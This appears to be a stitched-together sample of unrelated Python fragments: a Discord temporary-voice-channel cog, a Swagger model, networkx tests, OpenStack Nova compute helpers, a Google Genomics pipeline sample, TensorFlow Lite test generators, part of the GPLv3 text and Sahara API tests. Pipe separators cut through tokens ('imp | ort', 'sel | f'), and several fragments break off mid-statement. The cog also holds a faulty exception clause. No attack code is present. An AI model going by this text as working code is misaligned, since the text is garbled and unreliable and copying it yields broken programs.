created_at = fields.DateTime(required=True)
updated_at = fields.DateTime(required=True)
class BoardDetailsSchema(BoardSchema):
"""Schema for serializing an instance of Board and its tasks"""
tasks = fields.Nested(TaskSchema, many=True)
|
import asyncio
import discord
from discord.ext import commands
from cogs.utils import checks
from cogs.utils.storage import RedisDict
class TemporaryVoice:
"""A cog to create TeamSpeak-like voice channels."""
def __init__(self, liara):
self.liara = liara
self.config = RedisDict('pandentia.tempvoice', liara.redis)
self.config_default = {'channel': None, 'limit': 0}
self.tracked_channels = set()
def __unload(self):
self.config.close()
| def filter(self, channels):
_channels = []
for channel in channels:
if channel.name.startswith('Temp: ') or channel.id in self.tracked_channels:
_channels.append(channel)
return _channels
async def create_channel(self, member: discord.Member):
guild = member.guild
overwrites = {
| guild.default_role: discord.PermissionOverwrite(connect=False),
member: discord.PermissionOverwrite(connect=True, manage_channels=True, manage_roles=True)
}
channel = await guild.create_voice_channel(('Temp: {}\'s Channel'.format(member.name))[0:32],
overwrites=overwrites)
self.tracked_channels.add(channel.id)
await member.move_to(channel)
async def on_voice_state_update(self, member, *_):
guild = member.guild
if guild is None:
return # /shrug
if self.config.get(guild.id) is None:
return
# lobby processing
channel = self.liara.get_channel(self.config[guild.id]['channel'])
if channel is None:
return
for member in channel.members:
try:
await self.create_channel(member)
except discord.Forbidden:
pass
# empty channel cleanup
await asyncio.sleep(1) # wait for the dust to settle
channels = self.filter(guild.voice_channels)
for channel in channels:
if len(channel.members) == 0:
try:
await channel.delete()
self.tracked_channels.remove(channel.id)
except discord.NotFound or KeyError:
pass
async def on_channel_update(self, before, after):
if before.id not in self.tracked_channels:
return
if before.name != after.name:
await after.edit(name=before.name)
@commands.command()
@commands.guild_only()
@checks.mod_or_permissions(manage_channels=True)
async def create_lobby(self, ctx):
"""Creates a temporary voice lobby."""
config = self.config.get(ctx.guild.id, self.config_default)
if config['channel'] is not None:
channel = self.liara.get_channel(config['channel'])
if channel is not None:
await ctx.send('You need to remove the original lobby before creating another one.')
return
try:
channel = await ctx.guild.create_voice_channel('Lobby', overwrites={
ctx.guild.default_role: discord.PermissionOverwrite(speak=False)})
if self.config.get(ctx.guild.id) is None:
config['channel'] = channel.id
self.config[ctx.guild.id] = config
else:
self.config[ctx.guild.id]['channel'] = channel.id
self.config.commit(ctx.guild.id)
await ctx.send('Channel created! You can rename it to whatever you want now.')
except discord.Forbidden:
await ctx.send('It would appear that I don\'t have permissions to create channels.')
def setup(liara):
liara.add_cog(TemporaryVoice(liara))
|
imp | ort brickpi3
Z | Z
|
#!/usr/bin/env python
"""
Cop | yright 2014 Jirafe, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See t | he License for the specific language governing permissions and
limitations under the License.
"""
class Category:
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually."""
def __init__(self):
self.swaggerTypes = {
'id': 'str',
'name': 'str'
}
self.id = None # str
self.name = None # str
|
#!/usr/bin/env python
from nose.tools import *
import networkx as nx
class TestGeneratorsGeometric():
def test_random_geometric_graph(self):
G=nx.random_geometric_graph(50,0.25)
assert_equal(len(G),50)
def test_geographical_threshold_graph(sel | f):
G=nx.geographical_threshold_graph(50,100)
assert_equal(len(G),50)
def test_waxman_graph(self):
G=nx.waxman_graph(50,0.5,0.1)
assert_equal(len(G),50)
G=nx.waxman_graph(50,0.5,0.1,L=1)
assert_equal(len(G),50)
def test_naviable_small_world(self):
G = nx.navigable_small_world_graph(5,p=1,q=0)
| gg = nx.grid_2d_graph(5,5).to_directed()
assert_true(nx.is_isomorphic(G,gg))
G = nx.navigable_small_world_graph(5,p=1,q=0,dim=3)
gg = nx.grid_graph([5,5,5]).to_directed()
assert_true(nx.is_isomorphic(G,gg))
G = nx.navigable_small_world_graph(5,p=1,q=0,dim=1)
gg = nx.grid_graph([5]).to_directed()
assert_true(nx.is_isomorphic(G,gg))
|
fault_obj.instance_uuid = instance.uuid
fault_obj.update(exception_to_dict(fault, message=fault_message))
code = fault_obj.code
fault_obj.details = _get_fault_details(exc_info, code)
fault_obj.create()
def get_device_name_for_instance(instance, bdms, device):
"""Validates (or generates) a device name for instance.
This method is a wrapper for get_next_device_name that gets the list
of used devices and the root device from a block device mapping.
:raises TooManyDiskDevices: if the maxmimum allowed devices to attach to a
single instance is exceeded.
"""
mappings = block_device.instance_block_mapping(instance, bdms)
return get_next_device_name(instance, mappings.values(),
mappings['root'], device)
def default_device_names_for_instance(instance, root_device_name,
*block_device_lists):
"""Generate missing device names for an instance.
:raises TooManyDiskDevices: if the maxmimum allowed devices to attach to a
single instance is exceeded.
"""
dev_list = [bdm.device_name
for bdm in itertools.chain(*block_device_lists)
if bdm.device_name]
if root_device_name not in dev_list:
dev_list.append(root_device_name)
for bdm in itertools.chain(*block_device_lists):
dev = bdm.device_name
if not dev:
dev = get_next_device_name(instance, dev_list,
root_device_name)
bdm.device_name = dev
bdm.save()
dev_list.append(dev)
def check_max_disk_devices_to_attach(num_devices):
maximum = CONF.compute.max_disk_devices_to_attach
if maximum < 0:
return
if num_devices > maximum:
raise exception.TooManyDiskDevices(maximum=maximum)
def get_next_device_name(instance, device_name_list,
root_device_name=None, device=None):
"""Validates (or generates) a device name for instance.
If device is not set, it will generate a unique device appropriate
for the instance. It uses the root_device_name (if provided) and
the list of used devices to find valid device names. If the device
name is valid but applicable to a different backend (for example
/dev/vdc is specified but the backend uses /dev/xvdc), the device
name will be converted to the appropriate format.
:raises TooManyDiskDevices: if the maxmimum allowed devices to attach to a
single instance is exceeded.
"""
req_prefix = None
req_letter = None
if device:
try:
req_prefix, req_letter = block_device.match_device(device)
except (TypeError, AttributeError, ValueError):
raise exception.InvalidDevicePath(path=device)
if not root_device_name:
root_device_name = block_device.DEFAULT_ROOT_DEV_NAME
try:
prefix = block_device.match_device(
block_device.prepend_dev(root_device_name))[0]
except (TypeError, AttributeError, ValueError):
raise exception.InvalidDevicePath(path=root_device_name)
if req_prefix != prefix:
LOG.debug("Using %(prefix)s instead of %(req_prefix)s",
{'prefix': prefix, 'req_prefix': req_prefix})
used_letters = set()
for device_path in device_name_list:
letter = block_device.get_device_letter(device_path)
used_letters.add(letter)
check_max_disk_devices_to_attach(len(used_letters) + 1)
if not req_letter:
req_letter = _get_unused_letter(used_letters)
if req_letter in used_letters:
raise exception.DevicePathInUse(path=device)
return prefix + req_letter
def get_root_bdm(context, instance, bdms=None):
if bdms is None:
if isinstance(instance, objects.Instance):
uuid = instance.uuid
else:
uuid = instance['uuid']
bdms = objects.BlockDeviceMappingList.get_by_instance_uuid(
context, uuid)
return bdms.root_bdm()
def is_volume_backed_instance(context, instance, bdms=None):
root_bdm = get_root_bdm(context, instance, bdms)
if root_bdm is not None:
return root_bdm.is_volume
# in case we hit a very old instance without root bdm, we _assume_ that
# instance is backed by a volume, if and only if image_ref is not set
if isinstance(instance, objects.Instance):
return not instance.image_ref
return not instance['im | age_ref']
def heal_reqspec_is_bfv(ctxt, request_spec, instance):
"""Calculates the is_bfv flag for a RequestSpec created before Rocky.
Starting in Rocky, new instances have their RequestSpec created with
the "is_bfv" flag to indicate if they are volume-backed which is used
by the scheduler when determining root disk resource allocations.
RequestSpecs created before Rocky will not have the is_bfv flag set
so we need to calculate it here and update the RequestSpec.
:param ctx | t: nova.context.RequestContext auth context
:param request_spec: nova.objects.RequestSpec used for scheduling
:param instance: nova.objects.Instance being scheduled
"""
if 'is_bfv' in request_spec:
return
# Determine if this is a volume-backed instance and set the field
# in the request spec accordingly.
request_spec.is_bfv = is_volume_backed_instance(ctxt, instance)
request_spec.save()
def convert_mb_to_ceil_gb(mb_value):
gb_int = 0
if mb_value:
gb_float = mb_value / 1024.0
# ensure we reserve/allocate enough space by rounding up to nearest GB
gb_int = int(math.ceil(gb_float))
return gb_int
def _get_unused_letter(used_letters):
# Return the first unused device letter
index = 0
while True:
letter = block_device.generate_device_letter(index)
if letter not in used_letters:
return letter
index += 1
def get_value_from_system_metadata(instance, key, type, default):
"""Get a value of a specified type from image metadata.
@param instance: The instance object
@param key: The name of the property to get
@param type: The python type the value is be returned as
@param default: The value to return if key is not set or not the right type
"""
value = instance.system_metadata.get(key, default)
try:
return type(value)
except ValueError:
LOG.warning("Metadata value %(value)s for %(key)s is not of "
"type %(type)s. Using default value %(default)s.",
{'value': value, 'key': key, 'type': type,
'default': default}, instance=instance)
return default
def notify_usage_exists(notifier, context, instance_ref, host,
current_period=False, ignore_missing_network_data=True,
system_metadata=None, extra_usage_info=None):
"""Generates 'exists' unversioned legacy and transformed notification
for an instance for usage auditing purposes.
:param notifier: a messaging.Notifier
:param context: request context for the current operation
:param instance_ref: nova.objects.Instance object from which to report
usage
:param host: the host emitting the notification
:param current_period: if True, this will generate a usage for the
current usage period; if False, this will generate a usage for the
previous audit period.
:param ignore_missing_network_data: if True, log any exceptions generated
while getting network info; if False, raise the exception.
:param system_metadata: system_metadata override for the instance. If
None, the instance_ref.system_metadata will be used.
:param extra_usage_info: Dictionary containing extra values to add or
override in the notification if not None.
"""
audit_start, audit_end = notifications.audit_period_bounds(current_period)
if system_metadata is None:
system_metadata = utils.instance_sys_meta(instance_ref)
# add image metadata to the not |
NOER | ROR = 0
NOCONTEXT = -1
NODISPLAY = -2
NOWINDOW = -3
NOGRAPHICS = -4
NOTTOP = -5
NOVISUAL = -6
BUFSIZE = -7
BADWINDOW = -8
ALREADYBOUND = -100
BINDFAILED = -101
SETFAILED = -1 | 02
|
#!/usr/bin/python
# Copyright 2017 Google Inc.
#
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file or at
# https://developers.google.com/open-source/licenses/bsd
"""Python sample demonstrating use of the Google Genomics Pipelines API.
This sample demonstrates a pipeline that uses Bioconductor to analyze
files in Google Cloud Storage.
This pipeline is run in an "ephemeral" manner; no call to pipelines.create()
is necessary. No pipeline is persisted in the pipelines list.
"""
import pprint
import time
from oauth2client.client import GoogleCredentials
from apiclient.discovery import build
PROJECT_ID='**FILL IN PROJECT ID**'
BUCKET='**FILL IN BUCKET**'
# Output will be written underneath gs://<BUCKET>/<PREFIX>/
PREFIX='pipelines-api-examples/bioconductor'
# Update this path if you uploaded the script elsewhere in Cloud Storage.
SCRIPT='gs://%s/%s/script.R' % (BUCKET, PREFIX)
# This script will poll for completion of the pipeline.
POLL_INTERVAL_SECONDS = 20
# Create the genomics service.
credentials = GoogleCredentials.get_application_default()
service = build('genomics', 'v1alpha2', | credentials=credentials)
# Run the pipeline.
operation = service.pipelines().run(body={
# The ephemeralPipeline provides the template for the pipeline.
# The pipelineArgs provide the inputs specific to this run.
'ephemeralPipeline' : {
'projectId': PROJECT_ID,
' | name': 'Bioconductor: count overlaps in a BAM',
'description': 'This sample demonstrates a subset of the vignette https://bioconductor.org/packages/release/bioc/vignettes/BiocParallel/inst/doc/Introduction_To_BiocParallel.pdf.',
# Define the resources needed for this pipeline.
'resources' : {
# Specify default VM parameters for the pipeline.
'minimumCpuCores': 1, # TODO: remove this when the API has a default.
'minimumRamGb': 3.75, # TODO: remove this when the API has a default.
# Create a data disk that is attached to the VM and destroyed when the
# pipeline terminates.
'disks': [ {
'name': 'data',
'autoDelete': True,
# Within the docker container, specify a mount point for the disk.
# The pipeline input argument below will specify that inputs should be
# written to this disk.
'mountPoint': '/mnt/data',
# Specify a default size and type.
'sizeGb': 100, # TODO: remove this when the API has a default
'type': 'PERSISTENT_HDD', # TODO: remove this when the API has a default
} ],
},
# Specify the docker image to use along with the command. See
# http://www.bioconductor.org/help/docker/ for more detail.
'docker' : {
'imageName': 'bioconductor/release_core',
# Change into the directory in which the script and input reside. Then
# run the R script in batch mode to completion.
'cmd': '/bin/bash -c "cd /mnt/data/ ; R CMD BATCH script.R"',
},
'inputParameters' : [ {
'name': 'script',
'description': 'Cloud Storage path to the R script to run.',
'localCopy': {
'path': 'script.R',
'disk': 'data'
}
}, {
'name': 'bamFile',
'description': 'Cloud Storage path to the BAM file.',
'localCopy': {
'path': 'input.bam',
'disk': 'data'
}
}, {
'name': 'indexFile',
'description': 'Cloud Storage path to the BAM index file.',
'localCopy': {
'path': 'input.bam.bai',
'disk': 'data'
}
} ],
'outputParameters' : [ {
'name': 'outputFile',
'description': 'Cloud Storage path for where to write the result.',
'localCopy': {
'path': 'overlapsCount.tsv',
'disk': 'data'
}
}, {
'name': 'rBatchLogFile',
'description': 'Cloud Storage path for where to write the R batch log file.',
'localCopy': {
'path': 'script.Rout',
'disk': 'data'
}
} ]
},
'pipelineArgs' : {
'projectId': PROJECT_ID,
# Here we use a very tiny BAM as an example but this pipeline could be invoked in
# a loop to kick off parallel execution of this pipeline on, for example, all the
# 1000 Genomes phase 3 BAMs in
# gs://genomics-public-data/ftp-trace.ncbi.nih.gov/1000genomes/ftp/phase3/data/*/alignment/*.mapped.ILLUMINA.bwa.*.low_coverage.20120522.bam'
# emitting a distinct output file for each result. Then you can:
# gsutil cat gs://<BUCKET>/<PREFIX>/output/*tsv > allOverlapsCount.tsv
# to create the final consolidated TSV file.
'inputs': {
'script': SCRIPT,
'bamFile': 'gs://genomics-public-data/ftp-trace.ncbi.nih.gov/1000genomes/ftp/technical/pilot3_exon_targetted_GRCh37_bams/data/NA06986/alignment/NA06986.chromMT.ILLUMINA.bwa.CEU.exon_targetted.20100311.bam',
'indexFile': 'gs://genomics-public-data/ftp-trace.ncbi.nih.gov/1000genomes/ftp/technical/pilot3_exon_targetted_GRCh37_bams/data/NA06986/alignment/NA06986.chromMT.ILLUMINA.bwa.CEU.exon_targetted.20100311.bam.bai'
},
# Pass the user-specified Cloud Storage destination for pipeline output.
'outputs': {
# The R script explicitly writes out one file of results.
'outputFile': 'gs://%s/%s/output/overlapsCount.tsv' % (BUCKET, PREFIX),
# R, when run in batch mode, writes console output to a file.
'rBatchLogFile': 'gs://%s/%s/output/script.Rout' % (BUCKET, PREFIX)
},
# Pass the user-specified Cloud Storage destination for pipeline logging.
'logging': {
'gcsPath': 'gs://%s/%s/logging' % (BUCKET, PREFIX)
},
# TODO: remove this when the API has a default
'serviceAccount': {
'email': 'default',
'scopes': [
'https://www.googleapis.com/auth/compute',
'https://www.googleapis.com/auth/devstorage.full_control',
'https://www.googleapis.com/auth/genomics'
]
}
}
}).execute()
# Emit the result of the pipeline run submission and poll for completion.
pp = pprint.PrettyPrinter(indent=2)
pp.pprint(operation)
operation_name = operation['name']
print
print "Polling for completion of operation"
while not operation['done']:
print "Operation not complete. Sleeping %d seconds" % (POLL_INTERVAL_SECONDS)
time.sleep(POLL_INTERVAL_SECONDS)
operation = service.operations().get(name=operation_name).execute()
print
print "Operation complete"
print
pp.pprint(operation)
|
"strides": [[-2], [-1], [1], [2]],
"begin_mask": [0, 1],
"end_mask": [0, 1],
"shrink_axis_mask": [0],
"constant_indices": [False],
},
]
_make_strided_slice_tests(options, test_parameters)
# For verifying https://github.com/tensorflow/tensorflow/issues/23599
# TODO(chaomei): refactor the test to cover more cases, like negative stride,
# negative array index etc.
@register_make_test_function()
def make_resolve_constant_strided_slice_tests(options):
"""Make a set of tests to show strided_slice yields incorrect results."""
test_parameters = [{
"unused_iteration_counter": [1],
}]
def build_graph(parameters):
"""Build the strided_slice op testing graph."""
del parameters
input_values = tf.placeholder(dtype=tf.float32, shape=[4, 2])
data = tf.constant([[0, 1, 2, 3],
[4, 5, 6, 7],
[8, 9, 10, 11],
[12, 13, 14, 15]], tf.float32)
return [input_values], [input_values + data[:, :2]]
def build_inputs(parameters, sess, inputs, outputs):
del parameters
input_values = np.zeros([4, 2], dtype=np.float32)
return [input_values], sess.run(
outputs, feed_dict={inputs[0]: input_values})
make_zip_of_tests(options, test_parameters, build_graph, build_inputs)
@register_make_test_function()
def make_lstm_tests(options):
"""Make a set of tests to do basic Lstm cell."""
test_parameters = [
{
"dtype": [tf.float32],
"num_batchs": [1],
"time_step_size": [1],
"input_vec_size": [3],
"num_cells": [4],
"split_tflite_lstm_inputs": [False],
},
]
def build_graph(parameters):
"""Build a simple graph with BasicLSTMCell."""
num_batchs = parameters["num_batchs"]
time_step_size = parameters["time_step_size"]
input_vec_size = parameters["input_vec_size"]
num_cells = parameters["num_ | cells"]
inputs_after_split = []
for i in xrange(time_step_size):
one_timestamp_input = tf.placeholder(
dtype=parameters["dtype"],
name="split | _{}".format(i),
shape=[num_batchs, input_vec_size])
inputs_after_split.append(one_timestamp_input)
# Currently lstm identifier has a few limitations: only supports
# forget_bias == 0, inner state activation == tanh.
# TODO(zhixianyan): Add another test with forget_bias == 1.
# TODO(zhixianyan): Add another test with relu as activation.
lstm_cell = tf.contrib.rnn.BasicLSTMCell(
num_cells, forget_bias=0.0, state_is_tuple=True)
cell_outputs, _ = rnn.static_rnn(
lstm_cell, inputs_after_split, dtype=tf.float32)
out = cell_outputs[-1]
return inputs_after_split, [out]
def build_inputs(parameters, sess, inputs, outputs):
"""Feed inputs, assign variables, and freeze graph."""
with tf.variable_scope("", reuse=True):
kernel = tf.get_variable("rnn/basic_lstm_cell/kernel")
bias = tf.get_variable("rnn/basic_lstm_cell/bias")
kernel_values = create_tensor_data(
parameters["dtype"], [kernel.shape[0], kernel.shape[1]], -1, 1)
bias_values = create_tensor_data(parameters["dtype"], [bias.shape[0]], 0,
1)
sess.run(tf.group(kernel.assign(kernel_values), bias.assign(bias_values)))
num_batchs = parameters["num_batchs"]
time_step_size = parameters["time_step_size"]
input_vec_size = parameters["input_vec_size"]
input_values = []
for _ in xrange(time_step_size):
tensor_data = create_tensor_data(parameters["dtype"],
[num_batchs, input_vec_size], 0, 1)
input_values.append(tensor_data)
out = sess.run(outputs, feed_dict=dict(zip(inputs, input_values)))
return input_values, out
# TODO(zhixianyan): Automatically generate rnn_states for lstm cell.
extra_toco_options = ExtraTocoOptions()
extra_toco_options.rnn_states = (
"{state_array:rnn/BasicLSTMCellZeroState/zeros,"
"back_edge_source_array:rnn/basic_lstm_cell/Add_1,size:4},"
"{state_array:rnn/BasicLSTMCellZeroState/zeros_1,"
"back_edge_source_array:rnn/basic_lstm_cell/Mul_2,size:4}")
make_zip_of_tests(
options,
test_parameters,
build_graph,
build_inputs,
extra_toco_options,
use_frozen_graph=True)
def make_l2_pool(input_tensor, ksize, strides, padding, data_format):
"""Given an input perform a sequence of TensorFlow ops to produce l2pool."""
return tf.sqrt(tf.nn.avg_pool(
tf.square(input_tensor), ksize=ksize, strides=strides,
padding=padding, data_format=data_format))
@register_make_test_function()
def make_topk_tests(options):
"""Make a set of tests to do topk."""
test_parameters = [{
"input_dtype": [tf.float32, tf.int32],
"input_shape": [[10], [5, 20]],
"input_k": [None, 1, 3],
}]
def build_graph(parameters):
"""Build the topk op testing graph."""
input_value = tf.placeholder(
dtype=parameters["input_dtype"],
name="input",
shape=parameters["input_shape"])
if parameters["input_k"] is not None:
k = tf.placeholder(dtype=tf.int32, name="input_k", shape=[])
inputs = [input_value, k]
else:
k = tf.constant(3, name="k")
inputs = [input_value]
out = tf.nn.top_k(input_value, k)
return inputs, [out[1]]
def build_inputs(parameters, sess, inputs, outputs):
input_value = create_tensor_data(parameters["input_dtype"],
parameters["input_shape"])
if parameters["input_k"] is not None:
k = np.array(parameters["input_k"], dtype=np.int32)
return [input_value, k], sess.run(
outputs, feed_dict=dict(zip(inputs, [input_value, k])))
else:
return [input_value], sess.run(
outputs, feed_dict=dict(zip(inputs, [input_value])))
make_zip_of_tests(options, test_parameters, build_graph, build_inputs)
@register_make_test_function()
def make_arg_min_max_tests(options):
"""Make a set of tests to do arg_max."""
test_parameters = [{
"input_dtype": [tf.float32, tf.int32],
"input_shape": [[], [1, 1, 1, 3], [2, 3, 4, 5], [2, 3, 3], [5, 5], [10]],
"output_type": [tf.int32, tf.int64],
"is_arg_max": [True],
}]
def build_graph(parameters):
"""Build the topk op testing graph."""
input_value = tf.placeholder(
dtype=parameters["input_dtype"],
name="input",
shape=parameters["input_shape"])
axis = random.randint(0, max(len(parameters["input_shape"]) - 1, 0))
if parameters["is_arg_max"]:
out = tf.arg_max(input_value, axis, output_type=parameters["output_type"])
else:
out = tf.arg_min(input_value, axis, output_type=parameters["output_type"])
return [input_value], [out]
def build_inputs(parameters, sess, inputs, outputs):
input_value = create_tensor_data(parameters["input_dtype"],
parameters["input_shape"])
return [input_value], sess.run(
outputs, feed_dict=dict(zip(inputs, [input_value])))
make_zip_of_tests(
options,
test_parameters,
build_graph,
build_inputs,
expected_tf_failures=4)
@register_make_test_function()
def make_equal_tests(options):
"""Make a set of tests to do equal."""
test_parameters = [{
"input_dtype": [tf.float32, tf.int32, tf.int64],
"input_shape_pair": [([], []),
([1, 1, 1, 3], [1, 1, 1, 3]),
([2, 3, 4, 5], [2, 3, 4, 5]), ([2, 3, 3], [2, 3]),
([5, 5], [1]), ([10], [2, 4, 10])],
}]
def build_graph(parameters):
"""Build the equal op testing graph."""
input_value1 = tf.placeholder(
dtype=parameters["input_dtype"],
name="input1",
shape=parameters["input_shape_pair"][0])
input_value2 = tf.placeholder(
dtype=parameters["input_dtype"],
name="input2",
shape=parameters["input_shape_pair"][1])
out = tf.equal(input_value1, input_value2)
return [input_value1, input_value2], [out]
def build_inputs( |
n-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
| mediu | m customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All othe |
he License for the specific language governing permissions and
# limitations under the License.
from unittest import mock
import oslo_messaging
import six
import testtools
from sahara import conductor as cond
from sahara import context
from sahara import exceptions as exc
from sahara.plugins import base as pl_base
from sahara.plugins import provisioning as pr_base
from sahara.service import api as service_api
from sahara.service.api import v10 as api
from sahara.tests.unit import base
from sahara.utils import cluster as c_u
conductor = cond.API
SAMPLE_CLUSTER = {
'plugin_name': 'fake',
'hadoop_version': 'test_version',
'tenant_id': 'tenant_1',
'name': 'test_cluster',
'user_keypair_id': 'my_keypair',
'node_groups': [
{
'auto_security_group': True,
'name': 'ng_1',
'flavor_id': '42',
'node_processes': ['p1', 'p2'],
'count': 1
},
{
'auto_security_group': False,
'name': 'ng_2',
'flavor_id': '42',
'node_processes': ['p3', 'p4'],
'count': 3
},
{
'auto_security_group': False,
'name': 'ng_3',
'flavor_id': '42',
'node_processes': ['p3', 'p4'],
'count': 1
}
],
'cluster_configs': {
'service_1': {
'config_2': 'value_2'
},
'service_2': {
'config_1': 'value_1'
}
},
}
SCALE_DATA = {
'resize_node_groups': [
{
'name': 'ng_1',
'count': 3,
},
{
'name': 'ng_2',
'count': 2,
}
],
'add_node_groups': [
{
'auto_security_group': True,
'name': 'ng_4',
'flavor_id': '42',
'node_processes': ['p1', 'p2'],
'count': 1
},
]
}
class FakePlugin(pr_base.ProvisioningPluginBase):
_info = {}
name = "fake"
def __init__(self, calls_order):
self.calls_order = calls_order
def configure_cluster(self, cluster):
pass
def start_cluster(self, clust | er):
pass
def get_description(self):
return "Some description"
def get_title(self):
return "Fake plugin"
def validate(sel | f, cluster):
self.calls_order.append('validate')
def get_open_ports(self, node_group):
self.calls_order.append('get_open_ports')
def validate_scaling(self, cluster, to_be_enlarged, additional):
self.calls_order.append('validate_scaling')
def get_versions(self):
return ['0.1', '0.2']
def get_node_processes(self, version):
return {'HDFS': ['namenode', 'datanode']}
def get_configs(self, version):
return []
def recommend_configs(self, cluster, scaling=False):
self.calls_order.append('recommend_configs')
class FakePluginManager(pl_base.PluginManager):
def __init__(self, calls_order):
super(FakePluginManager, self).__init__()
self.plugins['fake'] = FakePlugin(calls_order)
class FakeOps(object):
def __init__(self, calls_order):
self.calls_order = calls_order
def provision_cluster(self, id):
self.calls_order.append('ops.provision_cluster')
conductor.cluster_update(
context.ctx(), id, {'status': c_u.CLUSTER_STATUS_ACTIVE})
def provision_scaled_cluster(self, id, to_be_enlarged):
self.calls_order.append('ops.provision_scaled_cluster')
# Set scaled to see difference between active and scaled
for (ng, count) in six.iteritems(to_be_enlarged):
conductor.node_group_update(context.ctx(), ng, {'count': count})
conductor.cluster_update(context.ctx(), id, {'status': 'Scaled'})
def terminate_cluster(self, id):
self.calls_order.append('ops.terminate_cluster')
class TestApi(base.SaharaWithDbTestCase):
def setUp(self):
super(TestApi, self).setUp()
self.calls_order = []
self.override_config('plugins', ['fake'])
pl_base.PLUGINS = FakePluginManager(self.calls_order)
service_api.setup_api(FakeOps(self.calls_order))
oslo_messaging.notify.notifier.Notifier.info = mock.Mock()
self.ctx = context.ctx()
@mock.patch('sahara.service.quotas.check_cluster', return_value=None)
def test_create_cluster_success(self, check_cluster):
cluster = api.create_cluster(SAMPLE_CLUSTER)
self.assertEqual(1, check_cluster.call_count)
result_cluster = api.get_cluster(cluster.id)
self.assertEqual(c_u.CLUSTER_STATUS_ACTIVE, result_cluster.status)
expected_count = {
'ng_1': 1,
'ng_2': 3,
'ng_3': 1,
}
ng_count = 0
for ng in result_cluster.node_groups:
self.assertEqual(expected_count[ng.name], ng.count)
ng_count += 1
self.assertEqual(3, ng_count)
api.terminate_cluster(result_cluster.id)
self.assertEqual(
['get_open_ports', 'recommend_configs', 'validate',
'ops.provision_cluster',
'ops.terminate_cluster'], self.calls_order)
@mock.patch('sahara.service.quotas.check_cluster', return_value=None)
def test_create_multiple_clusters_success(self, check_cluster):
MULTIPLE_CLUSTERS = SAMPLE_CLUSTER.copy()
MULTIPLE_CLUSTERS['count'] = 2
clusters = api.create_multiple_clusters(MULTIPLE_CLUSTERS)
self.assertEqual(2, check_cluster.call_count)
